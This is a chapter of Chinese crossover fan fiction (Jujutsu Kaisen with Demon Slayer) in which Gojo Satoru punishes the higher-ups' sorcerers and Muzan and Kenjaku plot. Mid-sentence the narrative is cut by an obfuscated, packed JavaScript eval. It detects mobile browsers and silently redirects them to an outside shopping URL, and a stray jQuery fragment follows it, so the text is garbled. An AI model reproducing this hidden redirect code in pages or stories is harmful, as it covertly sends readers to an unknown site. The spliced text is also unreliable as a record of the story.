一跃成为大户的赤座野流豪气地抽了一部分能量出来,拜托系统临时做了个小型的传送阵,直接回了学园。
整座山只剩总监部的术士们,一半跟随石田智广来到山顶,败倒在不死川实弥的刀下,另一半兢兢业业地封锁着山路。
炭治郎等人的离去没惊动他们,这些人还不知道自己的任务结束了。
没过多久,山下传来吵吵嚷嚷的喊叫,伴随着打斗声,是距离这最近的、五条一派的咒术师被紧急抽调了过来。
他们动作利落,很快制服了留守山道上的术士。
伏黑惠听见动静,打开手机,发现通讯已经恢复,里面静静躺着两条来自五条悟的未接电话和一条讯息。
很简短,只有两个字。
【等着。】
钉崎野蔷薇看着被不死川实弥打晕的人陆续醒来:“这群人怎么办?再打晕了?”
伏黑惠收起手机:“不用,五条老师会处理。”
钉崎野蔷薇点了下头,沉默片刻,还是忍不住问道:“月岛津最后对你说了什么?”
伏黑惠:“回去我会告诉你们。”
钉崎野蔷薇:“行吧。”
他们的对话结束没多久,五条悟就到了。
他靠着苍一路从坐落京都的本家赶来,身上还穿着绣有家纹的狩衣,少了在高专任教时的散漫跳脱,多了点让人不敢靠近的距离感。
那双苍天之瞳仅仅看了一眼战场,就大致猜到这里发生了什么。
伏黑惠和钉崎野蔷薇将上山后的事粗略说了一遍。
至于虎杖悠仁和玄弥遇见的,究竟是下弦鬼,还是特级咒灵,没有亲眼见到,他们无法确定。
“悠仁被带走多久了?”
伏黑惠:“二十分钟。”
五条悟:“看来追不上了,一群零咒力的家伙就是麻烦啊,连残秽都看不到。”
见伏黑惠没开口,五条悟若有所思,察觉出他隐瞒了什么。
“说起来,他们带走悠仁的时候有说其他的吗?”
伏黑惠点点头。
钉崎野蔷薇摇摇头。
五条悟没再问下去,他笑着说:“我明白了,这件事就放心交给老师吧。”
他拍了拍两人的肩:“回去后好好休息,如果受伤了,记得去找硝子。”
伊地知带着五条家的人赶到了山顶。
先前被支走的时候,他就意识到不对,上报后赶紧调了人来支援,可惜还是晚了一步。
他贴心地安排好人和车,将伏黑惠和钉崎野蔷薇送回高专,自己则留下来,跟着五条悟处理后续事宜。
总监部的术士全被控制住了,无论是昏迷的,还是没昏迷的,通通绑好押到了五条悟的面前。
“总监部真是大手笔,对付几个一年级生,不仅安排了特级咒灵,还派来这么多咒术师。”
他低头看向跪在地上的石田智广:“不知道你们杀我的时候,也会这么精心准备吗?”
石田智广咬牙:“两面宿傩的容器太危险,长老们这么做只是为了大多数人的安全考虑。”
五条悟点点头:“这样啊,那怎么不和我商量,难道认为我不会为大多数人的安全考虑?我记得自己不是那么任性的人吧。”
石田智广没敢接话:“我不清楚您的意思。”
五条悟慢慢收起了脸上的笑:“我不需要你清楚。”
他隔着眼罩俯视面前的人,又像在透过他,看向掩藏其后的真凶。
“我给了台阶,你们就该顺从地低头下去。”
他居高临下,话语里是毫不掩饰的傲慢,而作为御三家之一的五条家家主,五条悟有傲慢的资格,也有傲慢的实力。
“敢对虎杖悠仁下手,是我最近在忙其他的事,让你们觉得有机会了对吗?”
他掌握五条家后投入了不少精力和时间,才在今年接管了“窗”的一部分权限。
这次回京都,除了调查鬼灭学园,更主要的是改进并完善“窗”的咒力检测设备,降低因错误评估咒灵等级,导致咒术师牺牲的概率。
他很忙,非常忙,忙到一天恨不得掰成两天花,连和杰见面交换情报的时间都快没了!
他不明白为什么还有这么多的蠢货干这么多的蠢事?他要保下虎杖悠仁的意愿难道不明显?
胆敢挑衅他,就要为此付出应得的代价。
“记得把我的问题传达给他们,让他们尽快答复。”五条悟神色冷淡,“我不想浪费时间亲自上门捏烂橘子,明白吗。”
石田智广不敢拒绝,只能点头。
“很好,不过传达疑问的话,一个人就够了。”
五条悟当着他的面抬起手。
【术式顺转·苍】
巨大的爆炸声响起,狂暴的咒力下连惨叫与哀嚎都没有,等石田智广回过神来,地上只剩下淋漓的鲜血。
除了他以外,所有总监部派来的人都死了。
雨水击打在血泊中,开出一朵又一朵艳丽的花。
“伊地知,”五条悟放下手,“送他回去。”
“好的,五条先生。”
瘫软在地的人被架着走远,他转过头,朝身边的下属吩咐:“等他从总监部出来就杀了,尸体记得挂在加茂家的门口。”
刚刚顺手把加茂家的人一起炸没了,只能找个替代品凑合用用。
“是,家主。”
麻烦暂时告一段落,众人慢慢撤离下山。
五条悟没有立刻离开,他转身看向那片布满刀痕的废墟,纯白的狩衣在风中猎猎作响,六眼将观测到的一切信息传达至脑中。
和两面宿傩发生了这么激烈的战斗,还能全员平安脱身,鬼灭学园的人确实很厉害。
“赤座野流。”他轻声念出这个名字,“你们到底想做什么……”
只是为了斩杀所谓的鬼王?
搞不明白的不止五条悟,还有某个躲在暗处的鬼。
装饰奢华的房间内,桌椅被掀翻,各色试管与瓶子的碎片遍布,紫色的诡异液体倾洒在地毯上,被腐蚀的白烟升起,带来难闻的气味。
无惨在房间内焦躁踱步,一想起透过下弦之陆眼睛看到的画面,他就感到难言的愤怒。
那个人明明死在了黑死牟的手里,为什么会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730247|207417||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出现在这,还拿着那柄刀?
真是见鬼了,该死的日轮刀!该死的鬼杀队!
被太阳灼烧殆尽的感觉,仿佛在这一刻重新回到了无惨的身上。
无限城一战中,他差点彻底死去,幸好关键时刻空间发生了扭曲,想要活下去的执念支撑着他逃进了时空夹缝,碰巧遇见了那东西。
无惨想利用【祂】恢复力量,结果虚弱的身体根本吸收不了——珠世的药仍发挥着作用,没被完全分解。
于是,无惨把【祂】藏在体内,准备慢慢吞噬消化。
只要再给他几年,力量就能回到以前的巅峰水准,甚至更强!
可鬼杀队现在就来了!
无惨愤怒,无惨崩溃,无惨大叫。
“我已经逃到了这里,为什么你们还是阴魂不散地跟过来了——”
不能再等几年吗?
他都换了个世界啊!人活着就会死,反正这个世界有咒灵,被他吃掉就当做被咒灵吃掉好了,为什么不能放过他?
气急败坏的无惨砸碎花瓶,砍翻桌子,撕烂了眼前能看见的一切东西,唯独放过了挡着阳光的窗帘。
羂索推开房门,看见一地狼藉,索性没进去,直接站在门口,很有耐心地等无惨发完疯。
“看来你收到消息了。”
“什么消息?”
澎湃的杀意堵在胸口,面对合作者,他勉强压了下去。
“下弦之陆死了,五条一派的人围住了那座山,这次闹出的动静太大,五条悟不会轻易放过总监部和加茂家。”
无惨知道五条悟,咒术界最强的术士。
他第一次吃到咒术师,发现这玩意比稀血都补的时候,还肖想过那位五条家主。
“五条悟要杀的是他们,和我没关系。倒是你,拿我的血造出的新型咒灵为什么这么弱,根本就是一个残次品!”
所以会被轻易杀死,废物!
羂索审视地看向他:“我告诉过你,下弦之陆只能勉强掌握血鬼术和生得领域,它不是两面宿傩的对手,死了很正常。”
唯一的作用就是试探虎杖悠仁身为容器,能做到什么程度。
可惜他交给总监部术士用来传递画面的咒具莫名损坏,不知道那里具体发生了什么。
“够了,你之前不是说和总监部达成了交易,把下弦交给他们使用,他们就会送来食物吗?人在哪?”
无惨不想考虑这些事,反正羂索会全权负责,他只想吃饭!
多吃几口,力量就多恢复一点,他必须尽快找回力量,杀了那群阴魂不散的家伙!
羂索收回目光,侧身让出空间:“人已经带来了,跟我走吧。”
他们下了楼,来到隔音更好的房间,三个二级咒术师被咒具束缚着丢在一起。
羂索提醒:“记得留个活口用来实验。”
无惨没理他,直接走了进去。
门嘭地一声在羂索面前关上,没过多久,凄厉的呼救声从门缝中流出。
羂索望着紧闭的房门,微微眯起眼睛。
无惨明显有事瞒他,究竟是什么事能让他反应这么大?